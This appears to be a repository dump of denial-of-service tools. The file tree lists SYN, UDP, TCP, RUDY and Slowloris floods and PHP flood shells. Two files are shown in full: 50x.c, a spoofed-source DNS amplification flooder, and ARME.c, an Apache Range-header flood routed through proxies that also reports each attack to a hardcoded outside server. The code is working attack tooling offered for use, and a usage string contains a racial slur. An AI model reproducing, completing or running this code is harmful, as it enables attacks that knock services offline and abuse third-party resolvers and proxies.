├── 50x.c
├── ARME.c
├── README.md
├── RUDY.c
├── SLOWLORIS.c
├── SSYN2.c
├── SUDP.c
├── SUDP2.c
├── TCP Shell.php
├── TCP.c
├── UDP Shell.php
└── UDP.c


/50x.c:
--------------------------------------------------------------------------------
  1 | #include <time.h>
  2 | #include <pthread.h>
  3 | #include <unistd.h>
  4 | #include <stdio.h>
  5 | #include <stdlib.h>
  6 | #include <string.h>
  7 | #include <sys/socket.h>
  8 | #include <netinet/ip.h>
  9 | #include <netinet/udp.h>
 10 | #include <arpa/inet.h>
 11 | 
 12 | #define MAX_PACKET_SIZE 8192
 13 | #define PHI 0x9e3779b9
 14 | #define PACKETS_PER_RESOLVER 25
 15 | 
 16 | static uint32_t Q[4096], c = 362436;
 17 | 
 18 | struct list
 19 | {
 20 |                 struct sockaddr_in data;
 21 |                 char domain[512];
 22 |                 int line;
 23 |                 struct list *next;
 24 |                 struct list *prev;
 25 | };
 26 | struct list *head;
 27 | 
 28 | struct thread_data{
 29 |                 int thread_id;
 30 |                 struct list *list_node;
 31 |                 struct sockaddr_in sin;
 32 |                 int port;
 33 | };
 34 | 
 35 | struct DNS_HEADER
 36 | {
 37 |                 unsigned short id; // identification number
 38 | 
 39 |                 unsigned char rd :1; // recursion desired
 40 |                 unsigned char tc :1; // truncated message
 41 |                 unsigned char aa :1; // authoritive answer
 42 |                 unsigned char opcode :4; // purpose of message
 43 |                 unsigned char qr :1; // query/response flag
 44 | 
 45 |                 unsigned char rcode :4; // response code
 46 |                 unsigned char cd :1; // checking disabled
 47 |                 unsigned char ad :1; // authenticated data
 48 |                 unsigned char z :1; // its z! reserved
 49 |                 unsigned char ra :1; // recursion available
 50 | 
 51 |                 unsigned short q_count; // number of question entries
 52 |                 unsigned short ans_count; // number of answer entries
 53 |                 unsigned short auth_count; // number of authority entries
 54 |                 unsigned short add_count; // number of resource entries
 55 | };
 56 | 
 57 | //Constant sized fields of query structure
 58 | struct QUESTION
 59 | {
 60 |         unsigned short qtype;
 61 |         unsigned short qclass;
 62 | };
 63 | 
 64 | //Constant sized fields of the resource record structure
 65 | struct QUERY
 66 | {
 67 |                 unsigned char *name;
 68 |                 struct QUESTION *ques;
 69 | };
 70 | 
 71 | void ChangetoDnsNameFormat(unsigned char* dns,unsigned char* host)
 72 | {
 73 |                 int lock = 0 , i;
 74 |                 strcat((char*)host,".");
 75 | 
 76 |                 for(i = 0 ; i < strlen((char*)host) ; i++)
 77 |                 {
 78 |                                 if(host[i]=='.')
 79 |                                 {
 80 |                                                 *dns++ = i-lock;
 81 |                                                 for(;lock<i;lock++)
 82 |                                                 {
 83 |                                                                 *dns++=host[lock];
 84 |                                                 }
 85 |                                                 lock++; //or lock=i+1;
 86 |                                 }
 87 |                 }
 88 |                 *dns++='\0';
 89 | }
 90 | void init_rand(uint32_t x)
 91 | {
 92 |                 int i;
 93 | 
 94 |                 Q[0] = x;
 95 |                 Q[1] = x + PHI;
 96 |                 Q[2] = x + PHI + PHI;
 97 | 
 98 |                 for (i = 3; i < 4096; i++)
 99 |                 Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
100 | }
101 | 
102 | uint32_t rand_cmwc(void)
103 | {
104 |                 uint64_t t, a = 18782LL;
105 |                 static uint32_t i = 4095;
106 |                 uint32_t x, r = 0xfffffffe;
107 |                 i = (i + 1) & 4095;
108 |                 t = a * Q[i] + c;
109 |                 c = (t >> 32);
110 |                 x = t + c;
111 |                 if (x < c) {
112 |                                 x++;
113 |                                 c++;
114 |                 }
115 |                 return (Q[i] = r - x);
116 | }
117 | 
118 | /* function for header checksums */
119 | unsigned short csum (unsigned short *buf, int nwords)
120 | {
121 |                 unsigned long sum;
122 |                 for (sum = 0; nwords > 0; nwords--)
123 |                 sum += *buf++;
124 |                 sum = (sum >> 16) + (sum & 0xffff);
125 |                 sum += (sum >> 16);
126 |                 return (unsigned short)(~sum);
127 | }
128 | 
129 | void setup_udp_header(struct udphdr *udph)
130 | {
131 | 
132 | }
133 | 
134 | void *flood(void *par1)
135 | {
136 |                 struct thread_data *td = (struct thread_data *)par1;
137 | 
138 |                 fprintf(stdout, "Thread %d started\n", td->thread_id);
139 | 
140 |                 char strPacket[MAX_PACKET_SIZE];
141 |                 int iPayloadSize = 0;
142 | 
143 |                 struct sockaddr_in sin = td->sin;
144 |                 struct list *list_node = td->list_node;
145 |                 int iPort = td->port;
146 | 
147 |                 int s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
148 |                 if(s < 0)
149 |                 {
150 |                         fprintf(stderr, "Could not open raw socket. You need to be root!\n");
151 |                         exit(-1);
152 |                 }
153 | 
154 |                 //init random
155 |                 init_rand(time(NULL));
156 | 
157 |                 // Clear the data
158 |                 memset(strPacket, 0, MAX_PACKET_SIZE);
159 | 
160 |                 // Make the packet
161 |                 struct iphdr *iph = (struct iphdr *) &strPacket;
162 |                 iph->ihl = 5;
163 |                 iph->version = 4;
164 |                 iph->tos = 0;
165 |                 iph->tot_len = sizeof(struct iphdr) + 38;
166 |                 iph->id = htonl(54321);
167 |                 iph->frag_off = 0;
168 |                 iph->ttl = MAXTTL;
169 |                 iph->protocol = IPPROTO_UDP;
170 |                 iph->check = 0;
171 |                 iph->saddr = inet_addr("192.168.3.100");
172 | 
173 |                 iPayloadSize += sizeof(struct iphdr);
174 | 
175 | 
176 |                 struct udphdr *udph = (struct udphdr *) &strPacket[iPayloadSize];
177 |                 udph->source = htons(iPort);
178 |                 udph->dest = htons(53);
179 |                 udph->check = 0;
180 | 
181 |                 iPayloadSize += sizeof(struct udphdr);
182 | 
183 |                 struct DNS_HEADER *dns  = (struct DNS_HEADER *) &strPacket[iPayloadSize];
184 |                 dns->id = (unsigned short) htons(rand_cmwc());
185 |                 dns->qr = 0; //This is a query
186 |                 dns->opcode = 0; //This is a standard query
187 |                 dns->aa = 0; //Not Authoritative
188 |                 dns->tc = 0; //This message is not truncated
189 |                 dns->rd = 1; //Recursion Desired
190 |                 dns->ra = 0; //Recursion not available! hey we dont have it 
191 |                 dns->z = 0;
192 |                 dns->ad = 0;
193 |                 dns->cd = 0;
194 |                 dns->rcode = 0;
195 |                 dns->q_count = htons(1); //we have only 1 question
196 |                 dns->ans_count = 0;
197 |                 dns->auth_count = 0;
198 |                 dns->add_count = htons(1);
199 | 
200 |                 iPayloadSize += sizeof(struct DNS_HEADER);
201 | 
202 |                 sin.sin_port = udph->source;
203 |                 iph->saddr = sin.sin_addr.s_addr;
204 |                 iph->daddr = list_node->data.sin_addr.s_addr;
205 |                 iph->check = csum ((unsigned short *) strPacket, iph->tot_len >> 1);
206 | 
207 | 
208 |                 char strDomain[512];
209 |                 int i;
210 |                 int j = 0;
211 |                 int iAdditionalSize = 0;
212 |                 while(1)
213 |                 {
214 |                         if(j==2){
215 |                                 usleep(100);
216 |                                 j=0;
217 |                         }
218 | 
219 | 
220 | 
221 |                         //set the next node
222 |                         list_node = list_node->next;
223 | 
224 |                         //Clear the old domain and question
225 |                         memset(&strPacket[iPayloadSize + iAdditionalSize], 0, iAdditionalSize+256);
226 | 
227 |                         //add the chosen domain and question
228 |                         iAdditionalSize = 0;
229 | 
230 |                         unsigned char *qname = (unsigned char*) &strPacket[iPayloadSize + iAdditionalSize];
231 | 
232 |                         strcpy(strDomain, list_node->domain);
233 |                         ChangetoDnsNameFormat(qname, strDomain);
234 |                         //printf("!!%s %d\n", list_node->domain, list_node->line);
235 | 
236 |                         iAdditionalSize += strlen(qname) + 1;
237 | 
238 |                         struct QUESTION *qinfo = (struct QUESTION *) &strPacket[iPayloadSize + iAdditionalSize];
239 |                         qinfo->qtype = htons(255); //type of the query , A , MX , CNAME , NS etc
240 |                         qinfo->qclass = htons(1);
241 | 
242 |                         iAdditionalSize += sizeof(struct QUESTION);
243 | 
244 |                         strPacket[iPayloadSize + iAdditionalSize] = 0x00;
245 |                         strPacket[iPayloadSize + iAdditionalSize + 1] = 0x00;
246 |                         strPacket[iPayloadSize + iAdditionalSize + 2] = 0x29;
247 |                         strPacket[iPayloadSize + iAdditionalSize + 3] = 0x23;
248 |                         strPacket[iPayloadSize + iAdditionalSize + 4] = 0x28;
249 |                         strPacket[iPayloadSize + iAdditionalSize + 5] = 0x00;
250 |                         strPacket[iPayloadSize + iAdditionalSize + 6] = 0x00;
251 |                         strPacket[iPayloadSize + iAdditionalSize + 7] = 0x00;
252 |                         strPacket[iPayloadSize + iAdditionalSize + 8] = 0x00;
253 |                         strPacket[iPayloadSize + iAdditionalSize + 9] = 0x00;
254 |                         strPacket[iPayloadSize + iAdditionalSize + 10] = 0x00;
255 |                         strPacket[iPayloadSize + iAdditionalSize + 11] = 0x00;
256 | 
257 |                         iAdditionalSize += 11;
258 | 
259 | 
260 |                         //set new node data
261 |                         iph->daddr = list_node->data.sin_addr.s_addr;
262 | 
263 |                         udph->len= htons((iPayloadSize + iAdditionalSize) - sizeof(struct iphdr));
264 |                         iph->tot_len = iPayloadSize + iAdditionalSize;
265 | 
266 |                         udph->source = htons(rand_cmwc() & 0xFFFF);
267 |                         iph->check = csum ((unsigned short *) strPacket, iph->tot_len >> 1);
268 | 
269 |                         //send
270 |                         for(i = 0; i < PACKETS_PER_RESOLVER; i++)
271 |                         {
272 |                                 sendto(s, strPacket, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
273 |                         }
274 | 
275 |                         j++;
276 |                 }
277 | }
278 | 
279 | void ParseResolverLine(char *strLine, int iLine)
280 | {
281 |         char caIP[32] = "";
282 |         char caDNS[512] = "";
283 | 
284 |         int i;
285 |         char buffer[512] = "";
286 | 
287 |         int moved = 0;
288 | 
289 |         for(i = 0; i < strlen(strLine); i++)
290 |         {
291 |                 if(strLine[i] == ' ' || strLine[i] == '\n' || strLine[i] == '\t')
292 |                 {
293 |                         moved++;
294 |                         continue;
295 |                 }
296 | 
297 |                 if(moved == 0)
298 |                 {
299 |                         caIP[strlen(caIP)] = (char) strLine[i];
300 |                 }
301 |                 else if(moved == 1)
302 |                 {
303 |                         caDNS[strlen(caDNS)] = (char) strLine[i];
304 |                 }
305 |         }
306 | 
307 |         //printf("Found resolver %s, domain %s!\n", caIP, caDNS);
308 | 
309 |         if(head == NULL)
310 |         {
311 |                 head = (struct list *)malloc(sizeof(struct list));
312 | 
313 |                 bzero(&head->data, sizeof(head->data));
314 | 
315 |                 head->data.sin_addr.s_addr=inet_addr(caIP);
316 |                 head->data.sin_port=htons(53);
317 |                 strcpy(head->domain, caDNS);
318 |                 head->line = iLine;
319 |                 head->next = head;
320 |                 head->prev = head;
321 |         }
322 |         else
323 |         {
324 |                 struct list *new_node = (struct list *)malloc(sizeof(struct list));
325 | 
326 |                 memset(new_node, 0x00, sizeof(struct list));
327 | 
328 |                 new_node->data.sin_addr.s_addr=inet_addr(caIP);
329 |                 new_node->data.sin_port=htons(53);
330 |                 strcpy(new_node->domain, caDNS);
331 |                 new_node->prev = head;
332 |                 head->line = iLine;
333 |                 new_node->next = head->next;
334 |                 head->next = new_node;
335 |         }
336 | }
337 | 
338 | int main(int argc, char *argv[ ])
339 | {
340 |         if(argc < 4)
341 |         {
342 |                 fprintf(stdout, "Usage: %s <NIGGAS IP> <port> <reflection file> <threads> <time>\n", argv[0]);
343 |                 exit(-1);
344 |         }
345 | 
346 |         head = NULL;
347 | 
348 |         char *strLine = (char *) malloc(256);
349 |         strLine = memset(strLine, 0x00, 256);
350 | 
351 |         char strIP[32] = "";
352 |         char strDomain[256] = "";
353 | 
354 |         int iLine = 0; // 0 = ip, 1 = domain.
355 | 
356 |         FILE *list_fd = fopen(argv[3],  "r");
357 |         while(fgets(strLine, 256, list_fd) != NULL)
358 |         {
359 |                 ParseResolverLine(strLine, iLine);
360 |                 iLine++;
361 |         }
362 | 
363 | 
364 |         int i = 0;
365 |         int num_threads = atoi(argv[4]);
366 | 
367 |         struct list *current = head->next;
368 |         pthread_t thread[num_threads];
369 |         struct sockaddr_in sin;
370 |         sin.sin_family = AF_INET;
371 |         sin.sin_port = htons(0);
372 |         sin.sin_addr.s_addr = inet_addr(argv[1]);
373 |         struct thread_data td[num_threads];
374 | 
375 |         int iPort = atoi(argv[2]);
376 | 
377 |         printf("Target: %s:%d\n", argv[1], iPort);
378 | 
379 |         for(i = 0; i < num_threads; i++)
380 |         {
381 |                 td[i].thread_id = i;
382 |                 td[i].sin= sin;
383 |                 td[i].list_node = current;
384 |                 td[i].port = iPort;
385 |                 pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
386 |         }
387 | 
388 |         fprintf(stdout, "Starting Flood... Nigga!!\n");
389 | 
390 |         if(argc > 4)
391 |         {
392 |                 sleep(atoi(argv[5]));
393 |         }
394 |         else
395 |         {
396 |                 while(1)
397 |                 {
398 |                         sleep(1);
399 |                 }
400 |         }
401 | 
402 |         return 0;
403 | }


--------------------------------------------------------------------------------
/ARME.c:
--------------------------------------------------------------------------------
  1 | #include <pthread.h>
  2 | #include <sys/resource.h>
  3 | #include <unistd.h>
  4 | #include <stdio.h>
  5 | #include <stdlib.h>
  6 | #include <string.h>
  7 | #include <signal.h>
  8 | #include <sys/socket.h>
  9 | #include <netinet/ip.h>
 10 | #include <netinet/tcp.h>
 11 | #include <netdb.h>
 12 | #include <netinet/in.h>
 13 | #include <arpa/inet.h>
 14 | #include <ctype.h>
 15 | 
 16 | #define RND_CHAR (char)((rand() % 26)+97)
 17 | 
 18 | char *useragents[] = {
 19 | 	"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
 20 | 	"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
 21 | 	"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
 22 | 	"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
 23 | 	"Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
 24 | 	"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
 25 | 	"Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
 26 | 	"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
 27 | 	"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",
 28 | 	"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
 29 | 	"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
 30 | 	"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
 31 | 	"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
 32 | 	"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
 33 | 	"Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
 34 | 	"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20100101 Firefox/13.0.1",
 35 | 	"Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
 36 | 	"Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]",
 37 | 	"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0",
 38 | 	"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
 39 | 	"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6",
 40 | 	"Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
 41 | 	"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)",
 42 | 	"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
 43 | 	"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
 44 | 	"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
 45 | 	"Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1",
 46 | 	"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
 47 | 	"Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02",
 48 | 	"Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60",
 49 | 	"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0",
 50 | 	"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)",
 51 | 	"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322)",
 52 | 	"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.5.30729)",
 53 | 	"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
 54 | 	"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
 55 | 	"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
 56 | 	"Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre",
 57 | 	"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
 58 | 	"Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0",
 59 | 	"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)",
 60 | 	"Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0",
 61 | 	"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 5.8 (build 4157); .NET CLR 2.0.50727; AskTbPTV/5.11.3.15590)",
 62 | 	"Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:13.0) Gecko/20100101 Firefox/13.0.1",
 63 | 	"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)",
 64 | 	"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.5 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.4",
 65 | 	"Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
 66 | 	"Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
 67 | };
 68 | #define ATTACKPORT 80
 69 | //char *postformat = "%s /%s HTTP/1.1\r\nHost: %s\r\nUser-Agent: #useragent#\r\nConnection: close\r\nAccept-Encoding: gzip, deflate\r\n%s\r\n%s";
 70 | char *postformat = "HEAD / HTTP/1.0\r\nHost: %s\r\nUser-Agent: %s\r\nRange:bytes=%s\r\nAccept-Encoding: gzip, deflate, compress\r\nConnection: close\r\n\r\n";
 71 | char *postpayload;
 72 | struct urlparts {
 73 | 	char * name;
 74 | 	char separator[4];
 75 | 	char value[128];
 76 | } parts[] = {
 77 | 	{ "scheme", ":" },
 78 | 	{ "userid", "@" },
 79 | 	{ "password", ":" },
 80 | 	{ "host", "//" },
 81 | 	{ "port", ":" },
 82 | 	{ "path", "/" },
 83 | 	{ "param", ";" },
 84 | 	/*{ "query", "?" },*/
 85 | 	{ "fragment", "#" }
 86 | };
 87 | enum partnames { scheme = 0, userid, password, host, port, path, param, query, fragment } ;
 88 | #define NUMPARTS (sizeof parts / sizeof (struct urlparts))
 89 | struct urlparts *returnparts[8];
 90 | struct urllist { char *url; int done; struct urllist *next; struct urllist *prev; };
 91 | struct proxy { char *type; char *ip; int port; int working; };
 92 | struct list { struct proxy *data; char *useragent; struct list *next; struct list *prev; };
 93 | struct list *head = NULL;
 94 | char parseError[128];
 95 | int parseURL(char *url, struct urlparts **returnpart);
 96 | char * strsplit(char * s, char * tok);
 97 | char firstpunc(char *s);
 98 | int strleft(char * s, int n);
 99 | void setupparts();
100 | void freeparts();
101 | char *stristr(const char *String, const char *Pattern);
102 | char *str_replace(char *orig, char *rep, char *with);
103 | char *geturl(char *url, char *useragent, char *ip);
104 | char *ipstr;
105 | unsigned int fnGetIP(char *szHost);
106 | static int rps = 0;
107 | 
108 | char *fznGenerateRange()
109 | {
110 | 	char szBytes[12000] = "0-";
111 | 	char szAdd[12];
112 | 	for (int i = 0; i <= 1299; i++)
113 | 	{
114 | 		sprintf(szAdd, ",5-%d", i);
115 | 		strcat(szBytes, szAdd);
116 | 		bzero(szAdd, 12);
117 | 	}
118 | 
119 | 	return szBytes;
120 | }
121 | 
122 | void *flood(void *par) {
123 | 	struct list *startpoint = (struct list *)par;
124 | 	int i;
125 | 	struct sockaddr_in serverAddr;
126 | 	signal(SIGPIPE, SIG_IGN);
127 | 	while(1)
128 | 	{
129 | 		int sent = 0;
130 | 		if(startpoint->data->working == 0)
131 | 		{
132 | 			startpoint = startpoint->next;
133 | 			usleep(10000);
134 | 			continue;
135 | 		}
136 | 		
137 | 		memset(&serverAddr, 0, sizeof(serverAddr));
138 | 		serverAddr.sin_family = AF_INET;
139 | 		serverAddr.sin_port = htons(startpoint->data->port);
140 | 		serverAddr.sin_addr.s_addr = inet_addr(startpoint->data->ip);
141 | 		int serverSocket = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
142 | 		u_int yes=1;
143 | 		if (setsockopt(serverSocket,SOL_SOCKET,SO_REUSEADDR,&yes,sizeof(yes)) < 0) {}
144 | 		if(connect(serverSocket, (struct sockaddr *)&serverAddr, sizeof(serverAddr)) > 0)
145 | 		{
146 | 			startpoint->data->working = 0;
147 | 			startpoint = startpoint->next;
148 | 			continue;
149 | 		}
150 | 		if(strcmp(startpoint->data->type, "Socks4")==0)
151 | 		{
152 | 			unsigned char buf[10];
153 | 			buf[0] = 0x04;
154 | 			buf[1] = 0x01;
155 | 			*(unsigned short*)&buf[2] = htons(ATTACKPORT);
156 | 			*(unsigned long*)&buf[4] = inet_addr(ipstr);
157 | 			buf[8] = 0x00;
158 | 			if(send(serverSocket, buf, 9, MSG_NOSIGNAL) != 9)
159 | 			{
160 | 				startpoint->data->working = 0;
161 | 				startpoint = startpoint->next;
162 | 				close(serverSocket);
163 | 				continue;
164 | 			}
165 | 		}
166 | 		if(strcmp(startpoint->data->type, "Socks5")==0)
167 | 		{
168 | 			unsigned char buf[20];
169 | 			buf[0] = 0x05;
170 | 			buf[1] = 0x01;
171 | 			buf[2] = 0x00;
172 | 			if((sent = send(serverSocket, buf, 3, MSG_NOSIGNAL)) < 0)
173 | 			{
174 | 				startpoint->data->working = 0;
175 | 				startpoint = startpoint->next;
176 | 				close(serverSocket);
177 | 				continue;
178 | 			}
179 | 			buf[0] = 0x05;
180 | 			buf[1] = 0x01;
181 | 			buf[2] = 0x00;
182 | 			buf[3] = 0x01;
183 | 			*(unsigned long*)&buf[4] = inet_addr(ipstr);
184 | 			*(unsigned short*)&buf[8] = htons(ATTACKPORT);
185 | 			if((sent = send(serverSocket, buf, 10, MSG_NOSIGNAL)) < 0)
186 | 			{
187 | 				startpoint->data->working = 0;
188 | 				startpoint = startpoint->next;
189 | 				close(serverSocket);
190 | 				continue;
191 | 			}
192 | 		}
193 | 		if(strcmp(startpoint->data->type, "CONNECT") == 0 || strcmp(startpoint->data->type, "TUNNEL") == 0)
194 | 		{
195 | 			char *connectrequest = malloc(1024);
196 | 			bzero(connectrequest, 1024);
197 | 			sprintf(connectrequest, "CONNECT %s:25565 HTTP/1.0\r\n\r\n", ipstr);
198 | 			if((sent = send(serverSocket, connectrequest, strlen(connectrequest), MSG_NOSIGNAL)) < 0)
199 | 			{
200 | 				startpoint->data->working = 0;
201 | 				startpoint = startpoint->next;
202 | 				close(serverSocket);
203 | 				continue;
204 | 			}
205 | 			char *recvbuf = malloc(1024);
206 | 			bzero(recvbuf, 1024);
207 | 			int gotbytes = recv(serverSocket, recvbuf, 1024, 0);
208 | 			if(gotbytes < 1)
209 | 			{
210 | 				startpoint->data->working = 0;
211 | 				startpoint = startpoint->next;
212 | 				close(serverSocket);
213 | 				continue;
214 | 			}
215 | 			free(recvbuf);
216 | 		}
217 | 		//char *httppayload = str_replace(postpayload, "#useragent#", startpoint->useragent);
218 | 		//if(httppayload == NULL)
219 | 		//{
220 | 		//	startpoint = startpoint->next;
221 | 		//	close(serverSocket);
222 | 		//	continue;
223 | 		//}
224 | 		//char *tmp = NULL;
225 | 		//while((tmp = strstr(httppayload, "%RANDOM%"))!=NULL)
226 | 		/*{
227 | 			*(tmp) = RND_CHAR;
228 | 			*(tmp+1) = RND_CHAR;
229 | 			*(tmp+2) = RND_CHAR;
230 | 			*(tmp+3) = RND_CHAR;
231 | 			*(tmp+4) = RND_CHAR;
232 | 			*(tmp+5) = RND_CHAR;
233 | 			*(tmp+6) = RND_CHAR;
234 | 			*(tmp+7) = RND_CHAR;
235 | 		}
236 | 		*/
237 | 
238 | 		send(serverSocket, postpayload, strlen(postpayload), MSG_NOSIGNAL);
239 | 		//free(httppayload);
240 | 		close(serverSocket);
241 | 		rps++;
242 | 		usleep(50000);
243 | 		//startpoint = startpoint->next;
244 | 	}
245 | }
246 | 
247 | int fnAttackInformation(int attackID)
248 | {
249 | 	char szRecvBuff[1024];
250 | 	char packet[1024];
251 | 	char ip[] = "37.221.170.5";
252 | 
253 | 	snprintf(packet, sizeof(packet) - 1, "GET /~dqyefldi/response.php?auth=tru&id=%d&pro=%d HTTP/1.1\r\nHost: %s\r\nConnection: close\r\nCache-Control: no-cache\r\nOrigin: http://google.com\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-GB,en-US;q=0.8,en;q=0.6\r\nAccept-charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n\r\n", attackID, getpid(), ip);
254 | 
255 | 	struct sockaddr_in *remote;
256 | 	int sock;
257 | 	int tmpres;
258 | 	
259 |  
260 | 	if((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
261 | 	{
262 | 		perror("Can't create TCP socket");
263 | 		exit(1);
264 | 	}
265 | 	
266 | 	remote = (struct sockaddr_in *)malloc(sizeof(struct sockaddr_in *));
267 | 	remote->sin_family = AF_INET;
268 | 	tmpres = inet_pton(AF_INET, ip, (void *)(&(remote->sin_addr.s_addr)));
269 | 	
270 | 	if (tmpres < 0)  
271 | 	{
272 | 		perror("Can't set remote->sin_addr.s_addr");
273 | 		exit(1);
274 | 	}
275 | 	else if (tmpres == 0)
276 | 	{
277 | 		fprintf(stderr, "%s is not a valid IP address\n", ip);
278 | 		exit(1);
279 | 	}
280 | 	
281 | 	remote->sin_port = htons(80);
282 | 	
283 | 	if (connect(sock, (struct sockaddr *)remote, sizeof(struct sockaddr)) < 0)
284 | 	{
285 | 		perror("Could not connect");
286 | 		exit(1);
287 | 	}
288 | 		
289 | 	tmpres = send(sock, packet, strlen(packet), 0);
290 | 	
291 | 	//printf("Sent %d bytes -> \n%s\n\n\n", tmpres, packet);	
292 | 	
293 | 	if (tmpres == -1){
294 | 		perror("Can't send query");
295 | 		exit(1);
296 | 	}
297 | 
298 | 	int i = 1;
299 | 	int dwTotal = 0;
300 | 
301 | 
302 | 	while (1)
303 | 	{
304 | 		i = recv(sock, szRecvBuff + dwTotal, sizeof(szRecvBuff) - dwTotal, 0);
305 | 		//printf("Received %d bytes\n", i);
306 | 		if (i <= 0)
307 | 			break;
308 | 			
309 | 		dwTotal += i;
310 | 	}
311 | 
312 | 	szRecvBuff[dwTotal] = '\0';
313 | 	
314 | 
315 | 	//printf("Received -> \n%s\n\n", szRecvBuff);
316 | 
317 | 	
318 | 	close(sock);
319 | 	
320 | 	//printf("Sent %d bytes\n", tmpres);
321 | 	
322 | 	return 0;
323 | }
324 | 
